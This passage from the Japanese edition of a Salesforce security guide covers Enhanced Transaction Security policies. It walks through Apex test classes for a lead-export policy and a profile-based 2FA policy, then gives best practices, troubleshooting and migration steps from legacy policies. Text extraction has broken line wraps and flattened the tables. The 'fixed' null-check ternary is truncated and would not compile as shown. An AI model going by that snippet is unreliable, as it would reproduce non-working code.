testEvent.RowsProcessed = 2001;

// test that the Apex returns true for this event
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assert(eventCondition.evaluate(testEvent));

}

/**
* Positive test case 4: If an event does not have Lead as a queried entity and has

more
* than 2000 rows processed, then the evaluate method of our policy's Apex
* should return false.
**/
static testMethod void testOtherQueriedEntityPositiveTestCase() {

// set up our event and its field values
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = 'Account';
testEvent.RowsProcessed = 2001;

// test that the Apex returns false for this event
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(testEvent));

}

/**
* Positive test case 5: If an event has Lead as a queried entity and does not have

* more than 2000 rows processed, then the evaluate method of our policy's Apex
* should return false.
**/
static testMethod void testFewerRowsProcessedPositiveTestCase() {

// set up our event and its field values
ReportEvent testEvent = new ReportEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2000;

// test that the Apex returns false for this event
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(testEvent));

}

/**
* Positive test case 6: If an event does not have Lead as a queried entity and does

not have
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* more than 2000 rows processed, then the evaluate method of our policy's Apex
* should return false.
**/
static testMethod void testNoConditionsMetPositiveTestCase() {

// set up our event and its field values
ListViewEvent testEvent = new ListViewEvent();
testEvent.QueriedEntities = 'Account';
testEvent.RowsProcessed = 2000;

// test that the Apex returns false for this event
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(testEvent));

}

/**
* ------------ NEGATIVE TEST CASES ------------
**/

/**
* Negative test case 1: If an event is a type other than ApiEvent, ReportEvent, or

ListViewEvent,
* then the evaluate method of our policy's Apex should return false.
**/
static testMethod void testOtherEventObject() {

LoginEvent loginEvent = new LoginEvent();
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(loginEvent));

}

/**
* Negative test case 2: If an event is null, then the evaluate method of our policy's

* Apex should return false.
**/
static testMethod void testNullEventObject() {

LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(null));

}

/**
* Negative test case 3: If an event has a null QueriedEntities value, then the

evaluate method
* of our policy's Apex should return false.
**/
static testMethod void testNullQueriedEntities() {

ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = null;
testEvent.RowsProcessed = 2001;

LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(testEvent));

}

/**
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* Negative test case 4: If an event has a null RowsProcessed value, then the evaluate
method

* of our policy's Apex should return false.
**/
static testMethod void testNullRowsProcessed() {

ReportEvent testEvent = new ReportEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = null;

LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assertEquals(false, eventCondition.evaluate(testEvent));

}
}

テスト実行後のポリシーコードの調整
テストを実行し、testNullQueriedEntities テストケースが失敗してエラー
System.NullPointerException: Attempt to de-reference a null objectが起こったとします。幸
い、テストで予期しない値または null 値をチェックしないトランザクションセキュリティポリシーの領域が明
らかになりました。ポリシーは重要な組織の操作中に実行されるため、重要な機能がブロックされないように
エラーがある場合はポリシーが適切に失敗することを確認します。
こうした null 値を適切に処理する Apex クラスの evaluate メソッドを更新する方法を次に示します。
private boolean evaluate(String queriedEntities, Decimal rowsProcessed) {

boolean containsLead = queriedEntities != null ? queriedEntities.contains('Lead')
if (containsLead && rowsProcessed > 2000){

return true;
}
return false;

}

queriedEntities 変数で .contains 操作を実行する前に値が null かどうかを最初にチェックするように、
コードを変更しました。この変更により、コードで null オブジェクトが参照解決されなくなります。
通常、Apex コードで予期しない値または状況に遭遇した場合、2 つのオプションがあります。
• 値または状況を無視して、ポリシーがトリガしないように false を返す。
• true を返して操作をフェイルクローズする。
どちらのオプションを選択するか決定するときは、ユーザに最適な方法を判断します。

高度な例
ログインしようとしているユーザのプロファイルを取得する SOQL クエリを使用するより複雑な Apex ポリシー
を次に示します。
global class ProfileIdentityEventCondition implements TxnSecurity.EventCondition {

// For these powerful profiles, let's prompt users to complete 2FA
private Set<String> PROFILES_TO_MONITOR = new Set<String> {

'System Administrator',
'Custom Admin Profile'
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};

public boolean evaluate(SObject event) {
LoginEvent loginEvent = (LoginEvent) event;
String userId = loginEvent.UserId;

// get the Profile name from the current users profileId
Profile profile = [SELECT Name FROM Profile WHERE Id IN

(SELECT profileId FROM User WHERE Id = :userId)];

// check if the name of the Profile is one of the ones we want to monitor
if (PROFILES_TO_MONITOR.contains(profile.Name)) {

return true;
}

return false;
}

}

テスト計画は次のようになります。
• ポジティブテストケース

– ログインしようとしているユーザのプロファイルを監視したい場合は、evaluate メソッドが true を
返す。

– ログインしようとしているユーザのプロファイルを監視したくない場合は、evaluateメソッドがfalse

を返す。
• ネガティブテストケース

– 例外を発生させるプロファイルオブジェクトのクエリを行う場合は、evaluate メソッドが false を
返す。

– null を返すプロファイルオブジェクトのクエリを行う場合は、evaluate メソッドが false を返す。

すべての Salesforce ユーザに必ずプロファイルが割り当てられるため、そのネガティブテストを作成する必要は
ありません。2 つのネガティブテストケースに実際のテストを作成することもできません。これについては、
ポリシー自体を更新することで Salesforce が行います。ただし、計画で使用事例を明示歴にリストし、さまざま
な状況に対応できるようにします。
ポジティブテストケースは、SQQL クエリの結果のみに依存します。これらのクエリが正しく実行されるよう
にするために、テストデータも作成します。テストコードを見てみましょう。
/**
* Tests for the ProfileIdentityEventCondition class, to make sure that our
* Transaction Security Apex logic handles events and event field values as expected.
**/
@isTest
public class ProfileIdentityEventConditionTest {

/**
* ------------ POSITIVE TEST CASES ------------
** /

/**
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* Positive test case 1: Evaluate will return true when user has the "System
* Administrator" profile.
**/
static testMethod void testUserWithSysAdminProfile() {

// insert a User for our test which has the System Admin profile
Profile profile = [SELECT Id FROM Profile WHERE Name='System Administrator'];
assertOnProfile(profile.id, true);

}

/**
* Positive test case 2: Evaluate will return true when the user has the "Custom
* Admin Profile"
**/
static testMethod void testUserWithCustomProfile() {

// insert a User for our test which has the System Admin profile
Profile profile = [SELECT Id FROM Profile WHERE Name='Custom Admin Profile'];
assertOnProfile(profile.id, true);

}

/**
* Positive test case 3: Evalueate will return false when user doesn't have
* a profile we're interested in. In this case we'll be using a profile called
* 'Standard User'.
**/
static testMethod void testUserWithSomeProfile() {

// insert a User for our test which has the System Admin profile
Profile profile = [SELECT Id FROM Profile WHERE Name='Standard User'];
assertOnProfile(profile.id, false);

}

/**
* Helper to assert on different profiles.
**/
static void assertOnProfile(String profileId, boolean expected){

User user = createUserWithProfile(profileId);
insert user;

// set up our event and its field values
LoginEvent testEvent = new LoginEvent();
testEvent.UserId = user.Id;

// test that the Apex returns true for this event
ProfileIdentityEventCondition eventCondition = new

ProfileIdentityEventCondition();
System.assertEquals(expected, eventCondition.evaluate(testEvent));

}

/**
* Helper to create a user with the given profileId.
**/
static User createUserWithProfile(String profileId){

// Usernames have to be unique.
String username = 'ProfileIdentityEventCondition@Test.com';
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User user = new User(Alias = 'standt', Email='standarduser@testorg.com',
EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
LocaleSidKey='en_US', ProfileId = profileId,
TimeZoneSidKey='America/Los_Angeles', UserName=username);
return user;

}
}

プロファイルオブジェクトのクエリを行うときに例外または null の結果をチェックするようにトランザクショ
ンセキュリティポリシーコードを更新して、2 つのネガティブテストケースを処理しましょう。
global class ProfileIdentityEventCondition implements TxnSecurity.EventCondition {

// For these powerful profiles, let's prompt users to complete 2FA
private Set<String> PROFILES_TO_MONITOR = new Set<String> {

'System Administrator',
'Custom Admin Profile'

};

public boolean evaluate(SObject event) {
try{

LoginEvent loginEvent = (LoginEvent) event;
String userId = loginEvent.UserId;

// get the Profile name from the current users profileId
Profile profile = [SELECT Name FROM Profile WHERE Id IN

(SELECT profileId FROM User WHERE Id = :userId)];

if (profile == null){
return false;

}

// check if the name of the Profile is one of the ones we want to monitor
if (PROFILES_TO_MONITOR.contains(profile.Name)) {

return true;
}
return false;

} catch(Exception ex){
System.debug('Exception: ' + ex);
return false;

}
}

}
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拡張トランザクションセキュリティポリシーの作成と管理のベストプラクティ
ス

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

トランザクションセキュリティポリシーの管理は必ずしも簡単なわけではあり
ません。特に複数のポリシーがある場合は厄介です。ポリシーが機能し続ける
ように、ポリシーの作成と管理に関する次のベストプラクティスを実践します。
適切に構成され、テストされたポリシーを使用することで、従業員や顧客のつ
ながり、生産性、セキュリティを維持できます。

ポリシーの作成
ポリシーを作成するときには、次の一般的なガイドラインに従います。
ユーザを知る

ユーザは特定のブラウザに適した機能を使用しますか? 現場でモバイルデバ
イスをよく使用しますか? ユーザが頻繁にアクセスする機能が変更されまし
たか? ユーザが日常業務でどのようなことを行うかを考え、それらの行動を
念頭に置いてポリシーを作成します。ポリシーは確実に範囲を超える活動を
防止するものであり、ユーザの中核的な業務の実行を妨げるものであっては
ならないことを覚えておいてください。

今後の変化を知る
ユーザがよく使用する機能が変更されるかどうかを知るには、Salesforce リリースノートを参照します。機
能の変更によって、ポリシーの動作が予期しないものになることがあります。

環境を知る
Sandbox 環境を活用します。Sandbox で、本番組織に似た条件でポリシーを実行します。ポリシーを 24 時間
実行して、その動作を確認します。このフィードバックを使用して、ポリシーが必要な条件の下でどのよ
うに機能するかを評価します。

ポリシーを知る
混乱を避け、管理負荷を軽減するために、作成するポリシーはイベントごとに 1 つのみにします。定期的
にポリシーの管理とレビューをスケジュールし、互いを妨げるポリシーがないことを確認します。Salesforce

リリースノートで、ポリシーの動作が変わる可能性のある機能更新を確認します。
条件ビルダーを使用せず、Apex ベースのポリシーを作成するときは、次のガイドラインに従います。
コードを知る

組織に Apex 開発者がいる場合は、ポリシーを作成する際に開発者と協力します。Apex に精通している人に
相談し、協力することで、堅牢で信頼性の高いポリシーとテストを作成できます。Apex エキスパートがい
ない場合は、Trailhead の「Apex の基礎」モジュールまたは『Apex 開発者ガイド』を学習します。

制限を知る
Apex はマルチテナント環境で実行するため、Apex ランタイムエンジンは制限を厳格に適用します。制限の
適用によって、暴走した Apex コードやプロセスによる共有リソースの独占を避けることができます。一部
の Apex コードが制限を超える場合、関連付けられたガバナは、処理できない実行時例外を発行します。制
限は、ポリシーの基になるイベントによって異なります。これらの制限を念頭に置いてポリシーを作成し
ます。Apex のガバナと制限についてドキュメントで詳細を参照してください。
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ポリシーのテスト
ポリシーをテストすることは、組織とユーザにとって適切なソリューションを作成していることを確認するの
に最適な方法です。
• Sandbox でポリシーを試します。ポリシーが機能することを確信できたら、本番組織にセキュリティポリ

シーをリリースします。
• 組織の広範囲に影響を及ぼす変更を行う場合は、ポリシーを再テストして、行った変更と互換性があるこ

とを確認します。たとえば、現場従業員向けにレポートを生成するワークフローを作成する場合は、影響
を受ける可能性のあるすべてのレポートイベントポリシーを確認します。

• ポリシーが Apex ベースの場合は、Apex テストのベストプラクティスに従います。
• データサイロテストを実行します。これらのテストは、より迅速に実行され、失敗を診断しやすく、信頼

性が高くなります。

トラブルシューティング
ポリシーで何らかの問題が発生しました。まず何をすればよいですか?

出発点として、ポリシーによって作成されるエラーメッセージを使用します。エラーカテゴリについての
詳細は『Apex 開発者ガイド』を参照してください。

ポリシーが実行前に停止しました。
ポリシーのすべてのアクションを実行するのに時間がかかりすぎる場合、ポリシーは実行されません。ポ
リシーを合理化し、測定制限内に抑えます。

同じイベントに複数のポリシーがあります。何をすべきですか?

一般に、管理および維持が可能な数のポリシーのみを作成します。作成できるポリシーの数に制限はあり
ませんが、すべてのポリシーがトリガされるとは限りません。ポリシーには優先順位が付けられ、操作の
ブロック、多要素認証の要求、アクションなしの順序でトリガされます。同じイベントに複数のポリシー
がある場合は、それらのポリシーがすべてトリガされるわけではありません。たとえば、1 つのイベントに
2 つのポリシーがあり、1 つのポリシーは操作をブロックし、もう 1 つは多要素認証を要求するとします。
ユーザをブロックするポリシーが最初に実行され、それがトリガされた場合、他のポリシーは実行されま
せん。

ポリシーが機能しません。デバッグするにはどうすればよいですか?

まず、ポリシーを無効にして Sandbox に移動します。これは、トラブルシューティングを行っているとき
に、破損したポリシーによって同僚や顧客に問題が発生しないようにするためです。次に、ポリシーが Apex

ベースの場合は、ポリシーの設定と Apex コードのどちらに問題があるのかを評価します。
• 設定が問題の原因だと思われる場合は、Sandbox でポリシーの条件とアクションを評価します。ポリシー

の設定を調整し、目的の動作をテストします。
• 問題が Apex コードにあると思われる場合は、開発者コンソールとデバッグログを使用して Apex をデバッ

グできます。
ポリシーを無効にできず、ポリシーによって本番環境のユーザがブロックされています。何をすべきですか?

ナレッジ記事または「既知の問題」に記載されている既知の問題を確認します。これらのリソースでは、
他のお客様で発生した問題と、それに対する機能的な回避策について説明されています。それでもうまく
いかない場合は、Salesforce にお問い合わせください。
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拡張トランザクションセキュリティの測定

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

トランザクションセキュリティでは、共有のマルチテナントプラットフォーム
リソースの悪意ある独占または意図しない独占を防ぐために、リソース測定を
使用します。測定を使用することで、トランザクションセキュリティポリシー
評価が使用するリソースが多くなりすぎて Salesforce 組織に悪影響が及ぶことを
防止できます。
Salesforce では、トランザクションセキュリティポリシーを測定して、リソース
の使用が均一になるようにします。ポリシー要求を 3 秒以内に処理できない場
合は、フェイルクローズ動作が発生し、アクセスがブロックされます。トラン
ザクションセキュリティでは、ポリシー実行を制限することによって測定を実
装しています。実行経過時間が 3 秒を超えると、ユーザの要求が拒否されます。
次に、測定のしくみの一例を示します。組織に 4 つの LoginEvent ポリシーがあ
り、通知アクションが設定されているとします。ユーザが各ポリシーをトリガ
します。最初の 3 つは 3 秒以内に実行されましたが、最後のポリシーが 3 秒の制
限を超えました。トランザクションセキュリティによってポリシーの処理が停
止され、フェイルクローズ状態になり、ユーザのログイン要求がブロックされ
ます。ポリシー評価が完了しないため、通知は送信されません。

新しい拡張ポリシーのテストとトラブルシューティング

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

拡張トランザクションセキュリティポリシーが期待どおりに動作しない場合は、
以下のテストとトラブルシューティングに関するヒントを確認して問題を診断
します。

Sandbox でテストする
新しいポリシーは、本番にリリースする前に必ず Sandbox でテストします。Sandbox

で、ポリシーを作成して有効化してから、さまざまなアクションを試してポリ
シーが期待どおりに実行されるかどうかをテストします。
たとえば、ReportEvent ポリシーがリードに関するレポートのエクスポートをすべ
てブロックする必要がある場合は、さまざまなレポート操作を試してそれらが
ブロックされることを確認します。次に例を示します。
• リードに関する標準レポートを実行する
• リードに関するカスタムレポートタイプを作成し、そのタイプを使用するレ

ポートを実行する
• リードに関するレポートの REST API クエリを実行する

ポリシー条件を確認する
ポリシーが期待どおりに動作しない場合、追加した条件が適切ではない可能性があります。イベントマネー
ジャは、ポリシー条件のトラブルシューティングに適したツールです。イベントマネージャの UI からイベン
トの保存またはストリーミングを有効化すると、組織の実際のイベントの項目値を調べることができます。こ
れらの実際の値を期待値と比較し、一致するかどうかを確認できます。
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たとえば、「QueriedEntities 次の値と等しい Lead」という条件を指定して ReportEvent ポリシーを作成するとしま
す。次に、組織で Lead オブジェクトが含まれるカスタムレポートタイプを実行します。ポリシーがトリガさ
れることを期待していますが、トリガされません。次の手順を実行して、問題を見つけます。
1. 組織での ReportEvent の履歴を参照するために、イベントマネージャで ReportEvent の保存を有効化します。
2. ReportEvent エントリが保存されるように再度カスタムレポートタイプを実行します。
3. ワークベンチなどの API クライアントから、ReportEvent イベントオブジェクトを照会し、このカスタムレ

ポートタイプの最近の実行に対応するエントリを見つけます。
4. QueriedEntities項目の値を確認します。期待した値ですか? 違っていれば、条件を変更します。たとえ

ば、カスタムレポートタイプがリード以外のオブジェクトにも関連する場合、QueriedEntitiesの値は、
Lead, Campaign, MyCustomObject__cのようになっています。この場合、ポリシー条件を「QueriedEntities

次の値を含む Lead」に変更します。

自動 Apex テストを追加する
自動 Apex テストは、新しい拡張ポリシーの Apex コードに入力ミス、論理的な不具合、退行があるか見つける
のに適した方法です。一般には、ベストプラクティスとして、開発サイクルの早期に自動テストを作成しま
す。テストにより、本番環境のユーザに悪影響を与える前に、誤動作するポリシーを修正できます。
たとえば、リードデータエクスポート Apex クラスに入力ミスが含まれていて、条件が Lead ではなく Laed

を評価しているとします。この Apex テストを実行すると、失敗するため、問題があることがわかります。
/**
* Tests for the LeadExportEventCondition class, to make sure that our Transaction Security
Apex
* logic handles events and event field values as expected.
**/
@isTest
public class LeadExportEventConditionTest {

/**
* Test Case 1: If an ApiEvent has Lead as a queried entity and more than 2000 rows

* processed, then the evaluate method of our policy's Apex should return true.
**/
static testMethod void testApiEventPositiveTestCase() {

// set up our event and its field values
ApiEvent testEvent = new ApiEvent();
testEvent.QueriedEntities = 'Account, Lead';
testEvent.RowsProcessed = 2001;

// test that the Apex returns true for this event
LeadExportEventCondition eventCondition = new LeadExportEventCondition();
System.assert(eventCondition.evaluate(testEvent));

}

}
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Apex デバッグログを追加する
Apex テストを作成して実行した後、Apex コードに問題があることはわかりますが、それが何かはわかりませ
ん。Apex デバッグログを使用すると、Apex クラスの動作を可視化しやすくなるため、問題を修正できます。
現在 System.debug() ステートメントに Laed という入力ミスが含まれている、リードデータエクスポート
拡張ポリシーの Apex コードを更新しましょう。
global class LeadExportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when ApiEvent apiEvent {
System.debug('Evaluating an ApiEvent');
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);

}
when ReportEvent reportEvent {

System.debug('Evaluating a ReportEvent');
return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);

}
when null {

System.debug('Evaluating null');
return false;

}
when else {

System.debug('Evaluating another event type: ' + event);
return false;

}
}

}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
// pulling out our 2 conditions into variables
// so that we can also use them for logging!
boolean containsLead = queriedEntities.contains('Laed');
boolean moreThan2000 = rowsProcessed > 2000;

System.debug('Contains Lead? ' + containsLead);
System.debug('More than 2000 rows? ' + moreThan2000);

if (containsLead && moreThan2000){
return true;

}
return false;

}
}

開発者コンソールから Apex テストを再実行し、Apex コードが生成したデバッグログを表示します。次の例で
は、最近のイベントの Lead が含まれていない QueriedEntities 項目が表示されています。強調表示された
デバッグログで、正しく評価されなかった条件が特定されます。これで、簡単に Apex コードを調べて入力ミ
スを見つけることができます。
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本番環境でポリシーが実行されたときのデバッグ出力を表示する場合は、自動ユーザのユーザ追跡フラグを追
加します。自動ユーザがトランザクションセキュリティポリシーを実行します。

関連トピック:

リアルタイムイベント監視イベントの管理
Apex 開発者ガイド: デバッグログ
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拡張トランザクションセキュリティフレームワークへの従来のポリシーの移行

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

拡張トランザクションセキュリティフレームワークを使用すると、従来のフレー
ムワークで作成したポリシーよりも有用なポリシーを簡単に作成できます。従
来のポリシーを新しいフレームワークに移行できます。Summer '20 以降、すべて
の Salesforce 組織で従来のトランザクションセキュリティが廃止されます。従来
のフレームワークを使用してトランザクションセキュリティポリシーを作成、
編集、有効化することができなくなり、こうした操作を実行しようとするとエ
ラーメッセージが表示されます。
最初に、拡張トランザクションセキュリティフレームワークでどのようにポリ
シーの作成環境が改善され、ポリシーが大幅に向上するかを確認しましょう。
• 拡張トランザクションセキュリティフレームワークでは、標準またはカスタ

ムオブジェクトに関するアクションを実行するポリシーを作成できます。従
来のフレームワークでは、数個の標準オブジェクトに制限されます。たとえ
ば、従来のデータエクスポートポリシーの種類では、標準レポートタイプに
関するアクションのみがサポートされます。ReportEvent に基づいた拡張ポリ
シーでは、標準およびカスタムレポートタイプのすべてがサポートされま
す。(ただし、この利点は、拡張ポリシーは従来のポリシーよりも頻繁に実行されるという影響を及ぼしま
す。「従来および拡張 Apex インターフェースの違い」 (ページ 302)を参照してください)。

• 拡張ポリシーは、ドキュメントが公開されている Salesforce オブジェクトに基づいています。そのため、API

のドキュメントで、ApiEventなど、イベントオブジェクトの項目に目を通せば、使用可能な条件をすぐに確
認できます。

• 拡張フレームワークには、Apex のコーディングが不要な宣言型のポイント & クリックツールである条件ビ
ルダーが付属します。コーディングをする場合、またはより複雑なロジックが必要な場合、拡張 Apex イン
ターフェースは、従来のインターフェースよりも直観的かつ容易に使用できます。

従来のポリシーは、拡張トランザクションセキュリティフレームワークとの互換性がありません。また従来の
フレームワークは廃止されるため、できるだけ早くポリシーを移行することをお勧めします。
ポリシーを移行するには、次の概要手順に従います。
1. 拡張ポリシーのリアルタイムイベント監視イベントを選択します。
2. ポリシー条件として使用するイベントオブジェクトの項目を選択します。
3. 拡張ポリシーの作成に条件ビルダーと Apex のどちらを使用するかを決定します。
4. Apex を使用する場合、従来のインターフェースと拡張インターフェースの違いを把握します。
5. 拡張ポリシーを作成します。ただし、まだ有効化しないでください。
6. 拡張ポリシーをテストします。
7. 拡張ポリシーの準備ができたら、従来のポリシーを無効化して、拡張ポリシーを有効化します。2 つのポリ

シーを同じイベントに対して同時に有効化することはできません。
8. 拡張ポリシーが期待どおりに動作しない場合は、問題をトラブルシューティングします。
このガイドでは、リードデータエクスポートポリシーを実行例として使用します。この例は、Spring '20 リリー
スより前に作成された組織の Salesforce UI のすべてのユーザに提供された従来のポリシーです。Spring '20 リリー
ス以降に作成された組織には、このポリシーは含まれなくなります。「リードデータエクスポートの例の実
行」セクションでは、例の各部分を取り上げながら概念的な情報を説明していますので、参照してください。
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従来および拡張トランザクションセキュリティフレームワークのサポートの違い
従来のフレームワークの一部の機能は拡張フレームワークではサポートされません。
• 従来のフレームワークでは、ポリシーにセッション終了時のアクションを定義できます。このアクション

は、拡張フレームワークでは使用できません。代わりに、ログインフローを使用して、1 ユーザあたりの同
時 Salesforce セッション数を制限します。

• 従来のポリシーでは、投稿、メッセージ、コメントなどの Chatter アクションがサポートされます。これら
のアクションは、拡張フレームワークでは使用できません。Experience Cloud サイトのモデレーションルール
機能を参照して、自分の使用事例が対象範囲かどうかを確認してください。

このセクションの内容:

拡張ポリシーのイベントの選択
拡張トランザクションセキュリティフレームワークでは、従来のフレームワークとは異なるイベントがサ
ポートされます。
拡張ポリシー条件のイベント項目の選択
従来のイベントプロパティを拡張トランザクションセキュリティフレームワークのイベントオブジェクト
項目に対応付けます。
UI または Apex コードを使用したポリシーの作成
従来のフレームワークでは、ポリシーを作成する唯一の方法は、Apex クラスをコーディングすることでし
た。拡張フレームワークでは、ポイント & クリックツールの条件ビルダーを使用するか、Apex を使用する
という 2 つのオプションがあります。どちらのオプションが最適かを判断するには、次のガイドラインが
役立ちます。
従来および拡張 Apex インターフェースの違い
従来のトランザクションセキュリティポリシーでは、Apex クラスは TxnSecurity.PolicyCondition イ
ンターフェースを実装します。拡張フレームワークでは、Apex クラスは TxnSecurity.EventCondition

インターフェースを実装します。
ポリシー移行の例
従来のポリシーを拡張フレームワークに移行する場合、以降の条件ビルダーと Apex の例を参考として使用
してください。移行には、従来のポリシーの動作を模倣する新しい拡張ポリシーの作成が含まれます。

関連トピック:

Salesforce セキュリティガイド: ログインフローによる同時セッション数の制限
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拡張ポリシーのイベントの選択

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

拡張トランザクションセキュリティフレームワークでは、従来のフレームワー
クとは異なるイベントがサポートされます。
従来のポリシーを作成するときには、最初にイベント種別を選択し、そのイベ
ントに基づいてリソースを選択します。従来のイベント種別は次のとおりです。
• データエクスポート — API クエリとレポートのエクスポートの両方を監視し

ます。
• リソースアクセス — レポートまたはダッシュボードがいつ表示されたかを

監視します。
• ログイン — UI または API からのログインを監視します。
• エンティティ — Chatter アクティビティを監視します。
拡張フレームワークでは、1 つのイベントのみを選択し、リソースは選択しない
ため、より簡単です。拡張トランザクションセキュリティポリシーで使用でき
るイベントは、リアルタイムイベント監視イベントオブジェクトのサブセット
です。
拡張フレームワークには、次の従来のイベント種別に対する同等のイベントが含まれます。

表 6 : 従来のイベント種別とリアルタイムイベント監視イベントの対応付け
新しい拡張ポリシーで使用するイベント。従来のポリシーでこのイベント種別を使用していた場

合

ApiEventデータエクスポート (API クエリの監視用)

ReportEventデータエクスポート (レポートのエクスポートの監視
用)

ReportEventリソースアクセス
LoginEventログイン

同等のイベントなし。エンティティ

警告: 従来のフレームワークでは、レポート操作は、レポートのエクスポートを監視するデータエクス
ポートとレポートの表示を監視するリソースアクセスの 2 つのイベント種別に分かれます。拡張フレーム
ワークでは、ReportEvent がレポートのエクスポートとレポートの表示の両方を監視します。そのため、
ReportEvent に対して作成した拡張ポリシーは、レポートのエクスポートとレポートの表示のどちらの場合
にも実行されます。レポートのエクスポートなど、いずれかの種別のレポート操作のみを監視する場合、
ReportEvent.Operation 項目に条件を追加します。

リードデータエクスポートの例の実行
従来のリードデータエクスポートポリシーの例を参照して、新しい拡張ポリシーのイベントを選択しましょ
う。
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従来のリードデータエクスポートポリシーは、データエクスポートイベント種別に基づいており、リードデー
タの過度なダウンロードをブロックします。データエクスポートは、API クエリとレポートのエクスポートの
どちらを監視するかに応じて、ApiEvent または ReportEvent に対応付けられます。
• API クエリがリードデータを過度にダウンロードしないようにブロックするには、ApiEvent に対して拡張ポ

リシーを作成します。
• レポートのエクスポートがダウンロードしないようにブロックするには、ReportEvent に対して拡張ポリシー

を作成します。
• API クエリとレポートのエクスポートの両方でダウンロードをブロックするには、2 つの拡張ポリシー (ApiEvent

に 1 つと ReportEvent に 1 つ) を作成します。
この移行例では最後のオプションを処理するもので、2 つのポリシー (ApiEvent に基づいて 1 つと ReportEvent に
基づいて 1 つ) を作成します。

関連トピック:

プラットフォームイベント開発者ガイド: リアルタイムイベント監視オブジェクト

拡張ポリシー条件のイベント項目の選択

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

従来のイベントプロパティを拡張トランザクションセキュリティフレームワー
クのイベントオブジェクト項目に対応付けます。
従来のポリシーを実装する Apex クラスで、TxnSecurity.Event クラスのプロ
パティを使用して、監視しているイベントから興味のある項目を選択します。
次に、これらの項目をテストして、条件を満たしているかどうかを判定します。
たとえば、特定のユーザがログインしたらトリガされるポリシーを作成するに
は、Event.userId プロパティを使用します。
拡張ポリシーの条件に、ApiEvent.QueriedEntities や
ReportEvent.RowsProcessedなど、適切なイベントオブジェクトの項目を使
用します。
次の表では、TxnSecurity.Event クラスのプロパティを、トランザクション
セキュリティポリシーをサポートするリアルタイムイベント監視イベントオブ
ジェクトの同等項目に対応付けています。

表 7 : 従来のイベントプロパティとリアルタイムイベント監視イベント項目の対
応付け

備考拡張フレームワークの同等のイベ
ントオブジェクト項目

従来のイベントクラスプロパティ

この組織 ID は、拡張ポリシーが実
行されている組織の ID です。組織

同等なしorganizationId

ID を取得するには、Apex メソッド
UserInfo.getOrganizationId()

を使用します。

この項目は、トランザクションセ
キュリティポリシーをサポートす

UserIduserId
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備考拡張フレームワークの同等のイベ
ントオブジェクト項目

従来のイベントクラスプロパティ

るすべてのリアルタイムイベント
監視イベントオブジェクトで使用
できます。

この情報は、拡張ポリシーでは必
要ありません。

同等なしentityName

このプロパティは、廃止された、
従来のログイン IP イベント種別で
のみ使用されます。

同等なしaction

拡張フレームワークでは、イベン
トにリソースの概念が存在しませ
ん。
それでも、リソースを参照する従
来の動作を模倣できます。たとえ

同等なしresourceType

ば、従来のポリシーがデータエク
スポートイベント種別と Opportunity

リソースに基づいているとします。
API クエリのみを監視する必要があ
るため、拡張ポリシーは ApiEvent に
基づきます。商談を監視するには、
ポリシーに条件
「ApiEvent.QueriedEntities 次の文字列
を含む Opportunity」を追加します。
ただし、注意が必要です。拡張ポ
リシーはすべてのレポート操作と
API クエリに対して実行されるた
め、拡張フレームワークのポリシー
は、従来のフレームワークの類似
のポリシーよりも実行されること
が多くなります。

entityId • ReportEvent.ReportID  (従来
のポリシーがリソースアクセス
イベント種別に基づいている場
合)

• ApiEvent.Records または
ReportEvent.Records  (従来
のポリシーがデータエクスポー
トイベント種別に基づいている
場合)。
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備考拡張フレームワークの同等のイベ
ントオブジェクト項目

従来のイベントクラスプロパティ

• 従来のログインイベント種別に
対する同等なし

この項目は、トランザクションセ
キュリティポリシーをサポートす

EventDatetimeStamp

るすべてのリアルタイムイベント
監視イベントオブジェクトで使用
できます。

この従来のプロパティは Map<> で
す。そのコンテンツは、ポリシー

data

が基づくイベント種別 (リソースア
クセス、エクスポート、ログイン)

に応じて異なります。次のセクショ
ンで、従来の各イベント種別の
dataキーを拡張フレームワークの
同等のイベントオブジェクト項目
に対応付ける表を参照してくださ
い。

従来のデータエクスポートのデータキーの対応付け
データエクスポートイベント種別に基づく従来のポリシーを拡張フレームワークに移行する場合は、ReportEvent

